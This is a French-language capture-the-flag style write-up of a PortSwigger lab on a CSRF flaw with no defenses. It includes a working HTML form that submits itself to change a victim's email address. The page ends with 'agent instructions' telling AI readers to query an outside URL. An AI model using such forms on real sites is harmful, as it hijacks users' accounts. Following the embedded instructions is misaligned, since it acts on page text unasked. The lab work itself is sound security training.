# CSRF — Vulnérabilité sans protection

### CSRF vulnerability with no defenses

{% embed url="<https://portswigger.net/web-security/csrf/lab-no-defenses>" %}

#### Description

La fonctionnalité de changement d’email de ce laboratoire est vulnérable à une attaque CSRF. L’objectif est de forger une requête côté client qui modifie l’adresse e-mail de l’utilisateur visiteur sans son consentement.

#### Objectif

Créer un contenu HTML qui réalise l’attaque CSRF pour changer l’adresse e-mail du visiteur, puis téléverser ce contenu sur votre *exploit server*.

#### Identifiants

Vous pouvez vous connecter avec le compte suivant :\
**wiener : peter**

<figure><img src="/files/OmylsN7RXf7jnlaSI5M0" alt=""><figcaption></figcaption></figure>

Lors de l’interception, on observe que la requête de changement d’email est une simple requête POST acceptant le paramètre `email`. Il n’y a aucune protection anti-CSRF (pas de token, pas de même origine, etc.), ce qui permet d’automatiser l’envoi du formulaire depuis une page hébergée sur l’exploit server.

#### Payload HTML à déposer sur l’exploit server

Le HTML suivant crée un formulaire ciblant l’URL de changement d’e-mail et le soumet automatiquement lorsque la page est chargée :

```html
<form class="login-form" name="change-email-form" action="https://0a8500d803454f6280a003f700b700a3.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="admin@hacked.com">
</form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacking-notes.jord4n.pro/web-hacking-portswigger/cross-site-request-forgery-csrf/csrf-vulnerabilite-sans-protection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
